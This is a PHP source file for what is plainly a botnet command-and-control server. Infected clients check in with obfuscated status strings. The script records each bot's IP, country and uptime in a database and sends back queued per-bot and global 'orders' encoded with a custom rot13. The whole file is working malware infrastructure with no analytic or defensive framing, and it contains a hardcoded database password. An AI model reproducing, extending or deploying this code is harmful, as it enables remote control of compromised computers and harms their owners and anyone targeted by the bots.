<?PHP
// file: info.php
include("geoip.inc"); // for the geoip function

// database connection information
$database = "test";
$user = "test";
$password = "zyuZtKnnzwKejQqw";
$host = "localhost";

// custom rot13
function customRot13($string)
{
    for($i=0; $i < strlen($string); $i++) {
        $c = ord($string[$i]);

        if ($c >= ord('n') & $c <= ord('z') | $c >= ord('N') & $c <= ord('Z'))
            $c -= 13;
        else if ($c >= ord('a') & $c <= ord('m') | $c >= ord('A') & $c <= ord('M'))
            $c += 13;
        else if ($c >= ord('0') & $c <= ord('4'))
            $c += 5;
        else if ($c >= ord('5') & $c <= ord('9'))
            $c -= 5;

            $string[$i] = chr($c);
    }
    return $string;
}

// data sanitization
function sanitize($data)
{
    // remove whitespaces (not a must though)
    $data = trim($data);

    // apply stripslashes if magic_quotes_gpc is enabled
    if(get_magic_quotes_gpc())
        $data = stripslashes($data);

    // a mySQL connection is required before using this function
    $data = mysql_real_escape_string($data);

    return $data;
}

if( isset($_GET['sid']) ) {
    // connect to the database
    $mysql = mysql_connect( $host, $user, $password );
    mysql_select_db( $database );

    // clear buffer in this format h6Yht56RfT:WIN7:50000:m1.0:7653332
    //                                  $serial:$os:$delay:$version:$uptime

    $buffer_crypted = sanitize($_GET['sid']);
    $buffer_clear = customRot13($buffer_crypted);

    $serial = strtok($buffer_clear, ":");
    $os = strtok(":");
    $delay = strtok(":");
    $version = strtok(":");
    $uptime = strtok(":");

    $lastorder_id = 0;
    $ip = getenv("REMOTE_ADDR");

    // sanitize ints
    $delay = intval($delay);
    $uptime = intval($uptime);
    $lastorder_id = intval($lastorder_id);

    // format uptime
    $minsuptime = $uptime % 60;
    if ( $minsuptime > 1 ) $minsuptime = $minsuptime." Minutes";
    else $minsuptime = $minsuptime." Minute";

    $hoursuptime = $uptime / 60 % 24;
    if ( $hoursuptime > 1 ) $hoursuptime = $hoursuptime." Hours";
    else $hoursuptime = $hoursuptime." Hour";

    $daysuptime = $uptime / 60 / 24 % 7;
    if ( $daysuptime > 1 ) $daysuptime = $daysuptime." Days";
    else $daysuptime = $daysuptime." Day";

    $weeksuptime = $uptime / 60 / 24 / 7 % 52;
    if ( $daysuptime > 1 ) $weeksuptime = $weeksuptime." Weeks";
    else $weeksuptime = $weeksuptime." Week";

    $uptimeformated = $weeksuptime.", ".$daysuptime.", ".$hoursuptime.", ".$minsuptime;

    // geolocate IP
    $gi = geoip_open("GeoIP.dat",GEOIP_STANDARD);
    $country_code = geoip_country_code_by_addr($gi, $ip);
    $country_name = geoip_country_name_by_addr($gi, $ip);
    geoip_close($gi);

    // populate `clients` table
    if( $version != NULL ) {
        // select our client's info
        $client_sql = "SELECT * FROM `clients` WHERE serial LIKE '$serial'";
        $client_result = mysql_query( $client_sql );

        // checks if the client is new
        if( !mysql_num_rows( $client_result ) ) {
            // we have a new client, insert info into the `clients` table
            $create_client_sql = "INSERT INTO `clients`
            (
            serial, os, ip, country_code, country_name, delay, version,
            uptime, lastorder_id, registered_time, report_time
            )
            VALUES
            (
            '$serial', '$os', '$ip', '$country_code', '$country_name', '$delay', '$version',
            '$uptimeformated', '$lastorder_id', NULL, NULL
            )";

            mysql_query( $create_client_sql ); // client added
        } else { // former client update information
            // get our client's row in the `clients` table
            $client_row = mysql_fetch_assoc( $client_result );

            // get the client's $client_id
            $client_id = $client_row['client_id'];

            // get the client's $lastorder_id
            $lastorder_id = $client_row['lastorder_id'];

            // calculate the online_uptime in secs
            if ( ( time() - strtotime($client_row['report_time']) ) < ( ( $client_row['delay'] / 1000 ) + 20 ) ) // if before delay expires
                $online_uptime = $client_row['online_uptime'] + time() - strtotime($client_row['report_time']); // new uptime
            else
                $online_uptime = $client_row['online_uptime']; // else welcome back here is what your uptime was!

            $tableinfo_sql = "SELECT create_time FROM INFORMATION_SCHEMA.TABLES WHERE table_name = clients";
            $tableinfo_result = mysql_query( $tableinfo_sql );
            $tableinfo_row = mysql_fetch_row( $tableinfo_result ); // stores `clients` table creation time
            $table_uptime = time() - strtotime($tableinfo_row[0]); // total uptime for the `clients` table

            $percent_uptime = ( 1 - ( ($table_uptime - $online_uptime) / $table_uptime ) ) * 100; // uptime in %
            $percent_uptime = intval($percent_uptime); // sanitize and make it an integer

            // uptate client information
            $update_sql = "UPDATE `clients` SET
                        report_time=NULL,
                        version='$version',
                        online_uptime='$online_uptime',
                        percent_uptime='$percent_uptime',
                        uptime='$uptimeformated',
                        delay='$delay',
                        ip='$ip',
                        country_code='$country_code',
                        country_name='$country_name',
                        lastorder_id='$lastorder_id'
                        WHERE serial LIKE '$serial'";
            $update_result = mysql_query( $update_sql );
        } // done updating the client

        // check the `orders` table to see if there is a specific order for this client
        $orders_sql = "SELECT * FROM `orders` WHERE target_id LIKE '$client_id'";
        $orders_result = mysql_query( $orders_sql );

        // if there is a specific bot command prints it out
        if( mysql_num_rows( $orders_result ) ) {
            // echo the command to the client and clear it from the `orders` table
            echo ">".customRot13("init1")."<";

            while ( $orders_row = mysql_fetch_assoc( $orders_result ) ) {
                echo ">".customRot13($orders_row['order'])."<";
                $id = $orders_row['order_id'];
                $delete_sql = "DELETE FROM `orders` WHERE order_id LIKE '$id'";
                mysql_query( $delete_sql );
            } // done printing out all orders
        } else {
            // no orders were found for that client $serial in the `orders` table
            $all_global_sql = "SELECT * FROM `global_orders`";
            $all_global_orders_result = mysql_query( $all_global_sql );
            // check the `global_orders` table for orders
            if( mysql_num_rows( $all_global_orders_result ) ) {
                // there are global orders
                // will now check the $lastorder_id of that client
                if ($lastorder_id == 0) { // never ran a global order
                    // print out all the global orders it hasn't ran yet and update it's $lastorder_id
                    echo ">".customRot13("init2")."<";

                    while ( $global_row = mysql_fetch_assoc( $all_global_orders_result ) ) {
                        // check if the command is expired
                        if ( time() < strtotime($global_row['exp_time']) ) {
                            echo ">".customRot13($global_row['global_order'])."<";
                            // clients get the global_order_id as it's $lastorder_id
                            $lastorder_id = $global_row['global_order_id'];
                            $order_update_sql = "UPDATE `clients` SET lastorder_id='$lastorder_id' WHERE serial LIKE '$serial'";
                            mysql_query( $order_update_sql );
                        } else {
                            // command was old but gave it a shot here is your $lastorder_id
                            $lastorder_id = $global_row['global_order_id'];
                            $order_update_sql = "UPDATE `clients` SET lastorder_id='$lastorder_id' WHERE serial LIKE '$serial'";
                            mysql_query( $order_update_sql );
                        } // done printing out the next global order
                    } // done printing out all global orders
                } else { // it already ran at least one global order as it has a $lastorder_id != 0
                    // check the `global_orders` table for orders
                    $next_sql = "SELECT * FROM `global_orders` WHERE global_order_id > '$lastorder_id' ORDER BY global_order_id";
                    $next_result = mysql_query( $next_sql );
                    // check the `global_orders` table for orders matching
                    if( mysql_num_rows( $next_result ) ) {
                        // print out all the global orders it hasn't ran yet and update it's $lastorder_id
                        echo ">".customRot13("init3")."<";

                        while ( $next_row = mysql_fetch_assoc( $next_result ) ) {
                            // check if the command is expired
                            if ( time() < strtotime($next_row['exp_time']) ) {
                                // echo the next global order for the client
                                echo ">".customRot13($next_row['global_order'])."<";
                                // client gets the global_order_id as it's $lastorder_id
                                $lastorder_id = $next_row['global_order_id'];
                                $next_order_sql = "UPDATE `clients` SET lastorder_id='$lastorder_id' WHERE serial LIKE '$serial'";
                                mysql_query( $next_order_sql );
                            } else {
                                // command was old but gave it a shot here is your $lastorder_id
                                $lastorder_id = $next_row['global_order_id'];
                                $next_order_sql = "UPDATE `clients` SET lastorder_id='$lastorder_id' WHERE serial LIKE '$serial'";
                                mysql_query( $next_order_sql );
                            } // done printing out the next global order
                        } // done printing out all global orders left to do
                    } // no new global orders
                } // done checking for global orders
            } // no global orders
        } // done checking for orders
    } // fake or wrong sid format
} // no sid
?>